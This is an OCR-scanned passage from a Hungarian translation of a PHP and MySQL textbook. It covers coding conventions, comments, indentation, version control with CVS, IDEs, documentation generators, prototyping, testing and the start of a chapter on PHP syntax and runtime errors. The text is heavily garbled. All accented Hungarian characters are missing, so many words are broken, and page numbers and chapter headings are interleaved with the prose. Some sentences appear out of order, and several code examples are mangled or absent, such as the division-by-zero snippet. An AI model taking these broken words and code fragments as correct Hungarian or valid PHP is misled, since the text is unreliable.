A kziknyv angol nyelv vltozata a http:/ l www.php.net/manual/ en/ cmen rhet el. A ms programnyelvekbl rkez fejlesztk nha kisrtsbe esnek, hogy olyan"csomagol fggvnyeket" (wrapper function) rjanak, amelyek tulajdonkppen rnevezik a PHP fggvnyeit az ltaluk ismerr programnyelvben hasznlt fggvnyekre. Az ilyen programozsi mdszert angolulsyntactic sugar-nek, vagyis szinraktikai cukornak szoks nevezni. (A kifejezs tnyleges jelentse krlbell" programnyelvi knyeztets" lehet.) Nem rdemes ilyet tenni; msok szmra nehezebben olvashatv s kezelhetv teszi kdunkat. Ha j programozsi nyelvet kvnunk elsajttani, tanuljuk meg azt helyesen hasznlni! Radsul ilyen szint fggvnyhvsokkal lelassthatjuk kdunkar. Mindent egybevve kerljk az ilyen programozsi megkzeltst!
371
Ha azt lg uk, hogy az ltalunk ignyelt funkci nem rhet el a f PHP knyvtrban, kt lehetsg kzl vlasztharunk. Ha viszonylag egyszer dologra van szksgnk, rdemes lehet megrni sajt fuggvnynket vagy objektumunkat. Ha azonban igencsak sszetetten mkdik az a valami, amire szksgnk van - legyen az pldul vsrli kosr, webes levelezrendszer vagy frum-, knnyen lehet, hogy tallunk valakit, aki egyszer mr ltrehozta azt. A nylt forrskd kzssgben vgzett munka egyik nagy erssge, hogy az ehhez hasonl komponensek gyakran szabadon (s ingyenesen) elrhetk. Ha tallunk az ltalunk ignyelthez hasonl komponenst, segtsgkppen mg akkor is megnzhetjk a forrskdjt, ha a komponens nem teljesen ugyanaz, mint ami neknk kell. Az gy tallt forrskdot kiindulpontknt felhasznlva s mdostva knnyebben hoz hatjuk ltre a sajt ignyeinkre alakitott kdunkat. Ha a vgn az derl ki, hogy sajt fuggvnyeket vagy komponenseket kell rnunk, mrlegeljk annak eshetsgt, hogy mun knk vgeztvel megosztjuk ket a PHP kzssgvel! Ugyanis ez az a hozzlls, aminek ksznheten ilyen segtksz, aktv s felkszlt kzssget alkothatnak a PHP-fejlesztk.
Kezelhet kd rsa
Webes alkalmazsok esetn gyakran megfeledkeznek a kezelhetsg krdsrl, elssorban azrt, mert a programozk gyakran sietve hozzk ltre az ilyen alkalmazsokat. Egybl hozzfogni a kdrshoz s gyorsan befejezni- bizony sokszor ez fontosab bak tnik, mint elszr megtervezni azt. Pedig az elkszletekre sznt kevske id a ksbbiekben, amikor majd az alkalma zs kvetkez vltozatt kszlnk fejleszteni, rengeteg felesleges munkartl kmlhet meg bennnket.
Programozsi szablyok
Az informacikval foglalkoz komolyabb szervezetek tbbsge sajt programozsi szablyokkal rendelkezik- vagyis olyan irnyelvekkel, amelyek a fjlok s vltozk elnevezsr, a kd megjegyzsekkel elltst, tagolst stb. szablyozzk. A webes fejlesztsre oly gyakran alkalmazott dokumenturnkzponr megkzelts miatt elfordul ezen szablyok figyelmen kvl hagysa. Ha egyedl vagy nhny fbl ll kis csapatban programozunk, knnyen albecslhetjk a kdrsi szablyok fontossgt. Ez azrt nem helyes, mert csaparunk s a projekt is knnyedn kinheti magt. Ekkor nem csak mi magunk zava rodharunk ssze, hanem ott lesz mg egy csom msik programoz, aki sikertelenl fogja bogarszni meglv kdjainkat.
25
372
25. fejezet
Vgeredmnyben teljesen mindegy,hogy melyik szisztmt vlasztjuk,de trekednnk kell annak kvetkezetes hasznlat ra. rdemes tovbb a vltoznevekben hasznlt szavak szmt kettre, legfeljebb hromra korltozni. A fggvnynevek kivlasztsakor is nagyrszt a fentiekre, illetve nhny tovbbi dologra kell figyelemmel lennnk. A fgg vnyneveknek ltalban utalniuk kell a fggvny funkcijra. Gondoljunk az olyan beptett PHP fggvnyekre, mint az addslashes (} vagy a mysqli_connect (}, amelyeknek a neve utal arra, hogy mit fognak a nekik radott paramterekkel tenni! Az ilyen elnevezsi rendszer jelentsen segti kdunk olvashatsgt. Lthatjuk, hogy a pldaknt emltett kt fggvny a tbb szbl ll fggvnyneveket illeten eltr elnevezsi szablyokat kvet. A PHP fggvnyei e tekintetben nem kvetke zetesek, rszben azrt, mert sok klnbz ember rta ket,de legfkppen azrt,mert sok fggvnynevet vltozatlanul vettek t ms programozsi nyelvekbl s alkalmazs-programozsi interfszekbl (API). Ne feledkezznk meg arrl sem, hogy fggvnynevek esetn a PHP nem tesz klnbsget a kis- s nagybetk kztt! Az sszezavaradst elkerlend mindenesette rdemes az ltalunk kivlasztott formt kvetni. rdemes lehet tvenni a szmos PHP modulban hasznlt medul-elnevezsi smt - vagyis azt, hogy a fggvnynevek el eltagknt a modul nevt rjuk. Pldul a tovbbfejlesztett (improved) MySQL fggvnyek mindegyike a mysqli_ eltaggaL minden IMAP fggvny pedig az imap_ eltaggal kezddik. Ha van a kdunkban pldul egy kosrmodul, az ebben a medul ban lv fggvnyekhez adjuk a kosar_ (vagy,ha angol krnyezetben fejlesztnk, a eart_) eltagod Jegyezzk meg, hogy amikor a PHP5 procedurlis s objektumorientlt interfszt is biztost,a fggvnynevek elerk
studlyCaps stlusak lesznek (sa j atFuggveny (}).
lesznek! A procedurlisok alulvonsokat hasznlnak (sajat_fuggveny (}),az objektumorientltak pedig gynevezett Vgeredmnyben majdnem teljesen mindegy,hogy milyen szoksokat s szablyokat kvetnk a programozs sorn, a l nyeg,hogy kvetkezetesen alkalmazzuk azokat.
25
Ennek a mdszernek az a hatalmas elnye,hogy az adott rszek fggvnyekkel vagy brmilyen ms utastsokkal val feltltse utn mr megfelel megjegyzsekkel elltott kdot kapunk.
sszetett kd vagy trkk- Amikor egy konkrt feladatot akr egy teljes napig programozunk, vagy nagyon nyakate kerr mdon tudunk csak megoldani, megjegyzsben rjuk oda,mirr az adott megkzeltst vlasztottuk! gy amikor legkzelebb megnzzk ezt a kdot, nem fogjuk rtetlenl vakargatni a fejnket, s nem kell magunktl azt krdezni: ..Vajon mi az rdgt akar ez jelenteni?" s mg egy megfontolsra rdemes j tancs: megjegyzseinket menet kzben rjuk oda! Gondolhatnnk, hogy majd a pro jekt befejezsekor visszatrnk, s hozzadjuk a megjegyzseket. Fogadni mernnk, hogy ez nem gy lesz,kivve, ha soha nem kzdnk idhinnyal, s a knyv szerzinl nagyobb nfegyelemmel rendelkeznk.
373
Tagols
Mint brmely programozsi nyelv esetn, itt is rdemes kdunkat rtelmes s kvetkezetes mdon tagolni. A kd rsa letrajz vagy zleti levl sszelltshoz hasonl. A tagols knnyebben olvashatv s gyorsabban rtelmezhetv teszi kdunkat. lcalnos szablyknt elmondhat, hogy a vezrlsi szerkezeteken belli brmely programblokkor behzssal kell elk lnteni az azt krlvev kdtL A behzsnak szrevehetnek (vagyis egy szkznl nagyobbnak) kell lennie, ugyanakkor tlzsba sem szabad vinni a mrtkt. Vlemnynk szerm a tabultotok hasznlatt rdemes elkerlni. Br egy mozdulattal, azaz egyeden billenty letsvel elllrhack, a legebb monitoron tl sok helyet foglalnak el. Projektjeinkben jellemzen kr hrom szkznyi behzssal tagoljuk a kdot. A kapcsos zrjelek hasznlata is krdses lehet. A kt leggyakoribb sma a kvetkez: l. sma:
if (felttel)
{ ll valamilyen ms mvelet
Tlnk fgg, hogy melyiket vlasztjuk. Itt is fontos azonban, hogy az sszezavarodst elkerlend a teljes projektben kvet kezetesen hasznljuk.
25
374
25. fejezet
Verzikvets megvalstsa
A verzikvels (version control) a sz;oftverfejlesz;tsben alkalmazott egyidej vltozsok kezelsnek mvsz;ete. A verzikve t rendszerek ltalnossgban kzponti trolknt (repository) mkdnek, s kontrolllt felletet nyjtanak kdunk elrsre s megosztsra (s jobb esetben a dokumentlsra). Kpzeljnk el egy olyan helyzetet, amikor javtani szecetnnk kdunkon, de vletlenl elronrunk valamit, s akrhogyan prbljuk, nem tudjuk visszallitani az; eredeti vltozatot! Vagy akr mi magunk, akr az; gyfl gy dnt, hogy az; oldal egy korbbi verzija jobb volt. Esetleg jogi okokbl vissza kell llnunk egy korbbi verz;ira. Kpzeljnk el msik helyzetet, azt, amikor a programoz csapat kt tagja ugyanazon a fjlon szereme dolgozni! Elfordul hat, hogy mindketten megnyitjk s egyszerre sz;erkesz;tik a fjlt, fellrva egyms vltoztatsait. Mindkettjk lemsolhaga a fjlt, s a helyi verz;in dolgozva egymsrl eltr vltoztatsokat hozhatnak ltre rajta. Ha valaha is belegondolrunk mr abba, hogy milyen nem kvnt dolgok szrmazhatnak ebbl, akkor az; elbb emltett kt programoz kzl az; egyik minden bizonnyal ttlenl l s vrja, hogy a msik befejezze a fjl sz;erkesz;tst. Az; ilyen problmkat verzikvet rendszerrel orvosolhaguk. Ezek a rendszerek nyomon tudnak kvetni a kz;s trolban lv llomnyokon vgrehajtott minden vltoztatst, gy nem csak azok aktulis llapott lthaguk, hanem azt is, hogy hogyan nztek ki egy mltbeli idpontban. Ez a funkci lehetv teszi, hogy az; elrontott kdot visszallitsuk a tudottan mkd ver zijra. Adott fjlpldnyokat elltharunk mkd verzi (release version) cmkvel, ami azt eredmnyezi, hogy folytathatjuk a kd fejlesztst, de brmikor hozzfrhetnk a jelenleg mkd verzi msolathoz;. A verzikvet rendszerek abban is segtenek, hogy egyszerre tbb programoz dolgozhasson egytt a kdon. Brmely programoz foghatja a kz;s trolban lv kd egy msolatt (ez; lesz; a sajt munkapldnya), s amikor vltoztatsokat hajt vgre rajta, azokat tvezetheti a trolban lv vltozatba (vagyis kz;z;teheti a vltoztatsait). A verzikvet rendszerekkel gy nyomon kvethet, hogy ki hajtotta vgre a rendszeren az; egyes vltoztatsokat. Ezek a rendszerek ltalban az; egyidej vltoztatsok kezelsre is kpesek. Ez azt jelenti, hogy ugyanazt a fjlt egyszerre egynl tbb programoz is mdosthatja. Kpzeljk el pldul azt, hogy Jnos s va is ltrehozta projekgk legutols vltoza tnak egy munkapldnyt! Jnos befejezi az; adott fjl mdostst, majd kzz;resz;i a vltoztatsait. va is mdosga ugyanazt az; llomnyt, s is megprblja kz;z;tenni a vltoztatsokat. Ha a mdostsok nem a fjl ugyanazon rszben trtntek, akkor a verzikvet rendszer egyesti a fjl kt vltozatt. Ha a mdostsok tkznek egymssal, akkor a rendszer rtesti vt, s megmutatja neki a kt klnbz verzit. Ekkor lehetsget kap, hogy az; tkzsek elkerlse rdekben mdostsa sajt vltozatt. A Unix- s/vagy nylt forrskd fejleszrk tbbsge a Concurrent Versions System (CVS) nev verzikvet rendszerrel dolgozik. A nylt forrskd CVS gyakorlacilag a Unix minden verzijn automatikusan elrhet, s DOS-os vagy Windows opercis rendszert futtat P C-khez; s Macintosh gpekhez; is beszerezhet. Tmogatja a kliens/sz;erver modellr, gy min den interneckapcsolattal rendelkez gprl hasznlhat, amennyiben a CVS kiszolgl elrhet az; interneten. Rszben ezrt a PHP, az; Apache s a Mozilla fejlesztse sorn is ezt a rendszert hasz;nltk. Szmrgpnkre a CVS honlapjrl (hrtp://ximbiot.com/cvs/wiki/) tudjuk letlteni. Ugyan az; alap CVS rendszer parancssori eszkz, klnbz bvtmnyekkel vonzbb, egyebek kzte Java-alap s windowsos kezelfelletet adharunk neki. Ezeket a bvtmnyeket is a CVS weboldalrl sz;erezhegk be. A Bitkeeper a CVS-szel rivlis verzikvet rendszer, amit pldul olyan nylt forrskd projektekhez hasznlnak, mint a MySQL s a Linux kernel. Nylt forrskd projektekhez ingyenesen beszerezhet a http://www.bitkeeper.com/ oldalrl. Termszetesen fizets verzikvet rendszerek is lteznek. Egyik ilyen a perforce, amely a leggyakoribb plattormok tbbs gn fut, s PHP -tmogatssal br. Noha fizets, a nylt forrskd projekthez ingyenes licencek sz;erezhetk be a htcp://www. perforce.com/ oldalrl.
25
375
A fejlesztkrnyezet kivlasztsa
A verzikvers utn annl ltalnosabb tmakr kvetkezik: a fejlesztkrnyezet krdse. A fejlesztshez tulajdonkppen elegend lenne egy szvegszerkeszt s - a tesztelshez- egy bngsz, de a programozk ltalban hatkonyabban tudnak dolgozni az integrlt fejlesztkrnyezetekben (Integrated Development Environment- IDE). Szmos ingyenes projekt ltezik dediklt PHP IDE ltrehozsra, kztk a KPHPDevelop, amely a Linux alatti KDE asz rali krnyezethez val, s a http://kphpdev.sourceforge.net/ oldalrl tlthet le. A dolgok jelenlegi llsa szerint azonban a legjobb PHP fejlesztkrnyezetek fizetsek. A zend.com Zend Studija, az activestate.com Komodja s a nusphere.com PHPEd-je mind funkcikban gazdag, hatkonyan hasznlhat fejlesztkrnye zet. Mindegyik ingyenesen kiprblhat, m tarts hasznlatuk fizets. A Kornodhoz olcs, nem zleti clra hasznlhat licenc is beszerezhet.
Projektjeink dokumentlsa
Programozsi projektjeinkhez szmtalan klnfle dokumentcit kszthetnk. A reljessg ignye nlkl emltsnk meg ezek kzl nhnyat: Tervdokumentci Mszaki dokumentci/fejleszti tmutat Adatsztr (belertve az osztlydokumentcit) Felhasznli tmutat (noha a webes alkalmazsok tbbsgnek magtl rtetdnek kell lennie) Ennek a rsznek nem az a clja, hogy megtanuljunk mszaki dokumentcit rni, hanem elmondjuk, hogy sokkal knnyeb b tehetjk letnket, ha rszben automatizljuk ennek folyamatt. Egyes nyelvek lehetv teszik a fent emltett dokumentumok egy rsznek - elssorban a mszaki dokumentcinak s az adatsztraknak- az automatikus ellltst. A javadoc pldul fastruktrba rendezett HTML fjlokat hoz ltre, amelyek osztlytagok prototpusait s lersait tartalmazzk a Java-programokhoz. J egynhny ilyen tpus segdalkalmazs rhet el a PHP-hez, pldul: phpdoc (a http://www.phpdoc.de/ oldalrl tlthet le) A PEAR ezt a rendszert hasznlja a kd dokumentlsra. rdemes megjegyezni, hogy a phpDoc kifejezs szmos ilyen tpus projekere utal, amelyek kzl ez az egyik. PHPDocumentor (a http://phpdocu.sourceforge.net oldalrl szerezhet be) A PHPDocumentor a javadochoz hasonl vgeredmnyt ad, s viszonylag robusztusan mkdik. Az itt megemltett kt msik ilyen alkalmazsnl aktvabb fejleszti csapattal bszklkedhet. phpautodoc (a http://sourceforge.net/projects/phpautodoc/ oldalon rhet el) A phpautodoc is a javadochoz hasonl vgeredmnyt ad. Ilyen tpus tovbbi alkalmazsokat (s ltalnossgban a PHP komponenseket) a SourceForge weboldaln rdemes keres ni: http://sourceforge.net. A SourceForge elsdleges haszonlvezje a Unix/Linux-kzssg, de sok projekt ms platformok hoz is elrhet.
Prototpuskszts
A prototpuskszls (prototyping) a fejlesztsi ciklus webes alkalmazsok esetn gyakran hasznlt rsze. A prototpus kivlan alkalmas az gyfl elvrsainak meghatrozsra. Jellemzen a fejlesztend alkalmazs egyszerstett, rszben mkd verzi ja, amely az gyfllel folytatott trgyalsokon, illetve a vgleges rendszer alapjaknt hasznlhat. A vgleges alkalmazs gyakran a prototpus tbbszri mdostsval ll el. Az ilyen megkzelts elnye, hogy az gyfllel vagy vgfelhasznlkkal szoros egyttmkdsben dolgozva olyan rendszert llchatunk el, amellyel elgedettek lesznek, s legalbb valamilyen mrtkben maguknak rzik azt. Egy prototpus gyors "sszedobshoz" bizonyos kszsgek s eszkzk szksgesek. A komponens alap megkzelts jl rud mkdni az ilyen helyzetekben. Ha rendelkezsnkre llnak klnfle, meglv komponensek, akr hzon belliek, akr nyilvnosan elrhetk, sokkal gyorsabban vgezhetnk. A prototpusok gyors elksztsnek msik hasznos eszkzei a sablo nok. A kvetkez rszben ezeket az eszkzket tekintjk t. Prototpuskszts esetn kt f problmba futhatunk bele. Annak rdekben, hogy elkerlhessk ezeket, s a lehet legrel jesebb mrtkben ki tudjuk hasznlni a prototpusok elnyeit, ismerni kell ezt a kt problmt. Ezek kzl az els, hogy a programozk valamilyen okbl nehezen szabadulnak meg az lcaluk mt megirt kdtL A protot pusokat gyakran gyorsan dobjk ssze, s utlag mr knnyen megllapthat, ha nem optimlis vagy nem kzel optimlis mdon kszltek el. A hibs kdrszeket ugyan ki lehet javtani, de ha a reljes struktra rossz, akkor bizony b:yba kerltnk. A problma
25
376
25. fejezet
abbl ered, hogy a webes alkalmazsok igen gyakran az id szarrsban kszlnek, s egyszeren nincs id a teljes korriglsra. Ekkor knytelenek vagyunk egy gyengn megtervezert rendszerrel berni, amit radsul igen nehz lehet mkdtetni. Az ilyen problmt- ahogy azt mr emltertk - nmi tervezssei megelzhetjk. Ne felecljk, hogy egyes helyzetekben jobb egy huszrvgssal mindent eldobni s az egszet ellrl kezdeni, mint megprblni kijavtani a hibt! Br gy tnhet, hogy az jrakezdshez egyszeren nincs id, sokszor rengeteg ksbbi kellemetlensgrl kmlhet meg bennnket. A prototpuskszrs msodik problmja, hogy a fejlesztend rendszer knnyen rk prototpusknt vgezheti. M inden egyes alkalommal, amikor mr azt gondoljuk, hogy elkszlrnk, az gyfl tovbbi javtsokat vagy jabb funkcikat, mdos rsokat krhet a weboldalon. Ha ez bekvetkezik, knnyen rezhetjk gy, hogy ezzel a projekttel sosem fogunk vgezni. Ezt elkerlend ksztsnk olyan projekttervet, amely meghatrozza a prototpusok konkrt szmt s egy olyan dtumot, amely utn jabb funkcikat csak a kltsgvets s a hatridk mdosrsval lehet bevenni.
Kdoptimalizls
25
Amennyiben nem webes programozsi httrrel rendelkeznk, az optimalizls igen fontos lehet szmunkra. PHP esetn a felhasznlk legfkppen a kapcsoldsi s a letltsi id miatt vrakozharnak webes alkalmazs hasznlata kzben. Ezekre a tnyezkre ltalban csak minimlis hatssal lehet kdunk optimalizlsa.
377
Kerljk a statikus tartalom PHP-bl val ellltst! Ha minden, ltalunk ellltott HTML echo vagy print () utastsbl szrmazik, az oldal ellltsa jelentsen tovbb tarthat. (Ez az egyik rv a mkds s a tartalom korbban bemutatott sztvlasztsra.) Ez a tancs a kpgombok dinamikus ellltsra is rvnyes: a PHP-t csak arra hasznl juk, hogy egyszer ellltsuk a gombokat, majd szksg esetn jra felhasznlhatjuk azokat. Ha egy oldal minden egyes betltsekor fggvnyekbl vagy sablonokbl lltjuk el a pusztn statikus oldalakat, gondolkodjunk el azon, hogy csak egyszer futtatjuk a fggvnyeket! Vagy hasznljuk a sablonokat, majd elmentjk ennek eredmnyt. Ahol csak lehetsges, sztringkezel fggvnyeket vegynk ignybe a regulris kifejezsek helyett, mert az elbbiek gyor sabbak.
Tesztels
A kd mzse s tesztelse a szaftverfejleszts egy msik olyan sarkalatos pontja, amellyel webes fejleszts esetn gyakran hajlamosak vagyunk nem foglalkozni. Knny a rendszer kt vagy hrom tesztesettel trtn futtatsa utn felllni s azt mon dani: ,.igen, hibtlanul mkdik:' Gyakran eikvetik ezt a hibt. Mieltt alkalmazsunkat lesben mkdtetjk, teremtsk meg az alapos tesztels lehetsgt, s gondoljunk vgig szmos lehetsges forgatknyvet! Kt megkzeltst ajnlunk a kdjainkban lv hibk cskkentsre. (A hibkat maradktalanul soha nem lehet kiszrni, de tbbsgket igenis meg lehet szntetni.) Mindenek eltt nzessk t kdunkat msokkal! Ez azt jelenti, hogy egy msik programoz vagy programozk egy csoportja tnzni kdunkat, s javaslatokat tesz. Az ilyen dpus elemzs az albbi eredm nyeket hozhatja: ltalunk szre nem vett hibk Tesztesetek, amikre nem gondoltunk Optimalizls Fejleszrsek a biztonsg tern A kd fejlesztsre alkalmas, ltez komponensek hasznlata Tovbbi funkcik Ha egyedl dolgozunk, akkor is rdemes lehet egy ,.programoztrsat" keresni, aki hozznk hasonl cipben jr, s akivel tnzhetjk egyms kdjait. Msodsorban azt. ajnljuk, keressnk olyan tesztelket webes alkalmazsainkhoz, akik a termk vgfelhasznli krbl kerlnek ki (vagy ket kpviselik). A webes s az asztali alkalmazsok kztt az elsdleges kiilnbsg, hogy az elbbieket brki hasznlhatja. Nem lhetnk pldul olyan felttelezsekkel, hogy a felhasznJk jrtasak lesznek a szmtgpek kezelsben. Nem adhatunk nekik vaskos hasznlati kziknyvet vagy gyors referencia-tmutatt. Helyette arra kell trekedni, hogy webes alkalmazsaink maguktl rtetden kezelhetk s az elterjedt alkalmazsokhoz hasonlan mkdk legyenek. Gondoljunk bele, hogy milyen mdon kivnjk majd a felhasznJk ignybe venni alkalmazsunkari A hasznlhatsg mindenek felett ll. Tapasztalt programozknt vagy internetezknt nem knny elkpzelni, milyen problmkkal tallkozhatnak a kezd vgfelhasznlk. Ezen legegyszerbben gy segithetnk, ha a tipikus felhasznlra hasonlt tesztelket krnk fel. rdemes lehet a webes alkalmazsainkat btaverziban megjelentetni. Amikor gy rezzk, hogy a hibk tbbsgt mr kigyomlltuk, tesztfelhasznlk egy korltozott csoportja szmra tegyk elrhetv az alkalmazst! szrevteleikrt cserbe knljunk fel ingyenes szolgltatsokat az els szz felhasznlnak! Biztosak lehetnk benne, hogy olyan adatokkal s olyan mdon fogjk kiprblni az alkalmazst, amire nem is gondolhattunk. Ha cges gyfl szmra fejlesztnk weboldalt, a cg alkalmazottait felkrve egyszeren juthatunk tesztelkhz. (Ez azzal
a
25
kzzelfoghat elnnyel is jr, hogy az gyfl jobban magnak rezheti az ltala tesztelt oldalt.)
378
25. fejezer
Tovbbi olvasnival
Rengeteg anyag foglalkozik ezzel a terlettel; a fejezetben lnyegben a szofrverfejleszts tudomnyval foglalkoztunk, amelyrl szmtalan knyvet rtak. A weboldalak dokumentumknt vagy alkalmazsknt rtelmezett megkzeltsei kztti klnbsget kivlarr mutatja be Thomas A. Powell Web Site Engineering: Beyond Web Page Design cm kiadvnya, de a szofrverfejlesztssel foglalkoz brmely, neknk tetsz knyvnek hasznr vehetjk. A verzikversrl a CVS weboldaln (http:/ /ximbiot.com/ cvs/wiki/) tallunk tovbbi informcit. A tma fontossgt tekintve kiss meglep mdon nem sok knyvet rtak a verzikvetsrl, de rdemes lehet elolvasni Karl Franz Fogel Open Source Development with CVS vagy Gregor N. Purdy CVS Pocket Re erence munkjt. f Ha PHP komponenseket, integrlt fejlesztkrnyezeteket vagy dokumentcis rendszereket keresnk, nyissuk meg a SourceForge weboldalt: http://sourceforge.net! A fejezetben trgyalt tmk jelents rszvel a Zend weboldaln tallhat cikkekben is foglalkoznak. Ha szeretnnk elm lyedni ezekben, bngssznk az oldalon! Ha mr ott jrunk, rdemes lehet letlteni az optimalizlt is (hrrp://www.zend.com). Ha rdekesnek talltuk ezt a fejezetet , ltogassuk meg az Extreme Programming weboldald Itt az olyan terlereken al kalmazhat szofrverfejlesztsi mdszerekrl olvashatunk, ahol a kvetelmnyek- a webes fejleszrshez hasonlan- gyakran vltoznak. Az Extreme Programming weboldala a http://www.extremeprogramming.org cmen rhet el.
Hogyan tovbb:
A Hibakeress cm 26. fejezetben ttekintjk a programozsi hibk klnbz tpusait, a PHP hibazeneteit, illetve a hibake ress lehetsges mdszereit.
25
26
Hibakeress
Az elttnk ll fejezet PHP kdokon belli hibakeresssel foglalkozik. Ha vgigrgmk magunkat a knyv eddigi pldin, vagy korbban is hasznltuk mr a PHP-r, akkor minden bizonnyal kezdenek mr kialakulni sajt hibakeressi mdszereink. Ahogy projektjeink egyre sszetettebbek lesznek, gy vlik majd egyre nehezebb a hibakeress. Ugyan ilyen jelleg kpes sgeink is fejldni fognak, a hibk azonban vlheten tbb fjlbl vagy tbb programoz ltal rt kdbl erednek majd, ami igencsak megneheztheti dolgunkat. A fejezerben az albbi fbb tmakrket fogjuk ttekinteni: Programozsi, szintakrikai, futsidej s logikai hibk Hibazenetek Hibaszintek Sajt hibk kivltsa A hibakezels elegns mdja
Programozsi hibk
A programozsi hibknak programozsi nyelvtl fggetlenl hrom ltalnos tpusa ltezik: Szintakrikai hibk Futsidej hibk Logikai hibk Mieltt bemutatnnk a hibk szlelsre, kezelsre, elkerlsre s kijavtsra szolgl stratgikat, vizsgljuk meg egyen knt ezeket a hibatpusokarl
Szintaktikai hibk
A nyelvek szintaktiknak nevezett szablyrendszerrel rendelkeznek, amit az utastsoknak be kell tartaniuk ahhoz, hogy r telmesek s mkdkpesek legyenek. Ez a termszetes nyelvekre (pldul a magyarra) s a programozsi nyelvekre (pldul a PHP-re) egyarnt rvnyes. Ha egy urasrs nem tartja be a nyelv szablyait, azt mondjuk, hogy szintaktikai hibja van. Ha r telmezett (interpreted) nyelvrl, pldul a PHP-rl beszlnk, akkor a szintaktikai hibkat szoks rtelmezsi hibknak (parser o error) nevezni. Ha fordirorr (compiled) nyelvrl, pldul C-rl vagy Javrl, akkor pedigf rdtsi hibknak (compiler error). Ha megszegjk a magyar nyelv szinrakrikai szablyait, mg knnyen lehet, hogy az emberek megrrik, amit mondani szn dkozunk. Programozsi nyelvek esetben azonban ez ltalban nem igaz. Ha egy kd nem kveti a PHP szintakrikjnak szablyt - vagyis szintakrikai hibkar tartalmaz -, a PHP rtelmez annak egy rszr vagy egszt nem lesz kpes feldolgozni. Az emberek jk abban, hogy rsz- vagy egymssal tkz adarokbl kiszrjk a kell informcit. A szmrgpekre sajnos ez nem ll. A PHP szintaktikja sok ms szably kzrt megkvereli azt, hogy az urasrsok pontosvesszvel zruljanak, a karakter lncok idzjelek kz kerljenek, a fggvnyeknek radott paramtereker pedig vesszvel vlasszuk el egymstl, s zrjelek kz tegyk. Ha megszegjk ezeker a szablyokat, PHP kdunk nagy valsznsggel nem fog mkdni, s hibazenetet gene rl, amikor elszr megprbljuk futtarni. A PHP egyik erssge a jl hasznlhat hibazenerek, amelyekkel akkor tallkozunk, ha valami nem jl alakul. A PHP hibazeneteibl ltalban kiderl, hogy mi csszorr flre, melyik fjlban trtnt a hiba, s melyik sorban ralljuk. Egy tipikus hibazenet a kvetkezkppen nz ki:
Parse error: parse error, unexpected ''' in /home/book/public_html/php_es_mysql/26_fejezet/error.php on line
azaz:
380
26. fejezet
Mint lthat, megprblrunk egy karakterlncot tadni a date () fggvnynek, de vletlenl lemaradt a kezd idzjel, amely a karakterlnc elejt lett volna hivatott jellni. Az ehhez hasonl, egyszer szintaktikai hibkat a legknnyebb megrallni. Jellegben hasonl, de nehezebben megrallhat hibt kvetnk el, ha elfelejtjk lezrni a karakterlncot, ahogy tettk azt az albbi pldban:
<?php $date = date('m.d.y); ?>
azaz:
rtelmezsi hiba: rtelmezsi hiba, nem vrt sorlezrs a sorban /home/book/public_html/php_es_mysql/26 feJezet/error.php fjl 2.
Az olyan hibk, amikor megnyirunk valamit, majd elfelejtjk lezrni, gyakran gy jelentkeznek, s ilyen hibazenetet ered mnyeznek. Egyszeres s ktszeres idzjelek, illetve a zrjelek klnbz forminak (kapcsos, szgletes) hasznlata esetn kvethetjk el ezt a hibatpust. A kvetkez kd hasonl szimaktikai hibt generl:
<?php if (igaz)
Az ilyen hibkat abban az esetben, ha tbb fjl kombincijbl addnak, nem egyszer megtallni. Akkor is nehz hely
zetbe kerlhetnk, ha egyetlen, de j nagy mret fjlban fordulnak el. Egy ezersoros fjl esetn kapott parse error on
line 1001, azaz"rtelmezsi hiba az 1001. sorban" zenet akr egy egsz napunkat tnkre tudja tenni- de legalbb finom
clzst kapunk arra vonatkozan, hogy modulrisabb felpts kdot kellene rnunk. Mindezek ellenre a szintaktikai a legknnyebben megrallhat hibatpus. Ha szintaktikai hibt kvetnk el, s megprbl juk futtatni a kdblokkot, a PHP hibazenetben kzli, hogy hol talljuk a hibt.
Futsidej hibk
A futsidej hibkat szlelni s kijavtani is kemnyebb di. Lehet, hogy kdunk szintaktikai hibt tartalmaz, de az is lehet, hogy nem. Elbbi esetn az rtelmez a kd futtatsakor szlelni fogja azt. A futsidej hibkat nem kizrlag kdunk tartal ma okozza, kvetkezhetnek kdunk s ms esemnyek vagy krlmnyek klcsnhatsbL A
require ('fajlnev.php');
teljes mrtkben helyes PHP utasts. Szintaktikai hibkat nem tartalmaz. Ennek ellenre ez az utasts is okozhat futsidej hibt. Ha vgrehajtjuk az utastst, s a fajlnev.ph p nem ltezik, vagy a felhasznlnak, akikm a kd fut, nincsen hozz olvassi jogosultsga, az albbihoz hasonl hibt s hibazenetet
26
kapunk:
Fatal error: main() [function.require]: Failed opening required 'fajlnev.php' (include_path='.:/usr/local/lib/php') in /home/book/public_html/php_es_mysql/26_fejezet/error.php on line l
azaz
Vgzetes hiba: main() [function.require]: Nem sikerlt megnyitni a 'fajlnev.php' fjlt (include_path='.:/usr/local/lib/php') a /home/book/public_html/php_es_mysql/26_fejezet/error.php fjl l. sorban
Annak ellenre, hogy ez a kd hibtlan, futsidej hibt eredmnyezhet, mert mkdshez olyan fjl szksges, amely nem biztos, hogy a kd futtatsakor elrhet.
Hibakeress
381
A kvetkez hrom urasrs mindegyike helyes s rtelmes PHP utasts. Egytt azonban, sajnos, a leheterlent - a nullval osztst - ksrlik meg:
$i $j $k
=
10; 0;
$i/$j;
azaz
Figyelmeztets: Nullval oszts a sorban /home/book/public_html/php_es_mysql/26 fejezet/divO.php fjl 3.
Ez a figyelmeztets nagyon egyszerv teszi a hiba kijavtst. Nagyon kevesen rnak szndkosan olyan kdot, amely null val prbl meg osztani, de a felhasznli bevitel ellenrzsnek elmulasztsa gyakran eredmnyezher ilyen tpus hibt. A kvetkez kd ugyanezt a hibt eredmnyezi, m azt sokkal nehezebb krlhatrolni s kijavtani, mert csak egyes esetek ben kvetkezik be:
$i $k
=
10;
$i/$_REQUEST['input'];
Ez egyike a szmtalan, klnbz, futsidej hibnak, amellyel kdunk tesztelse sorn tallkozhatunk. Az albbiakat tekinthetjk a futsidej hibk leggyakoribb oknak: Nem ltez fggvnyek hvsa Fjlok olvassa vagy rsa MySQL-hez vagy egyb adarbzishoz csatlakozs Hlzati szolglratsok elrse Beviteli adatok ellenrzsnek elmulasztsa A kvetkez oldalakon rviden tnzzk ezeker a hibaforrsokar.
vagy
elgeplt_fuggveny();
azaz
Vgzetes hiba: Nem defmilt fggvny hvsa: nemletezo_fuggveny() sorban a /home/book/public_html/php_es_mysql/26_fejezet/error.php fjl l.
az
A strstr () fggvny kr karakterlncot vr paramterknt: a keress helyt s a keresett szrringet. Ha azonban a kvetke
26
szm paramter() a sorban
azaz
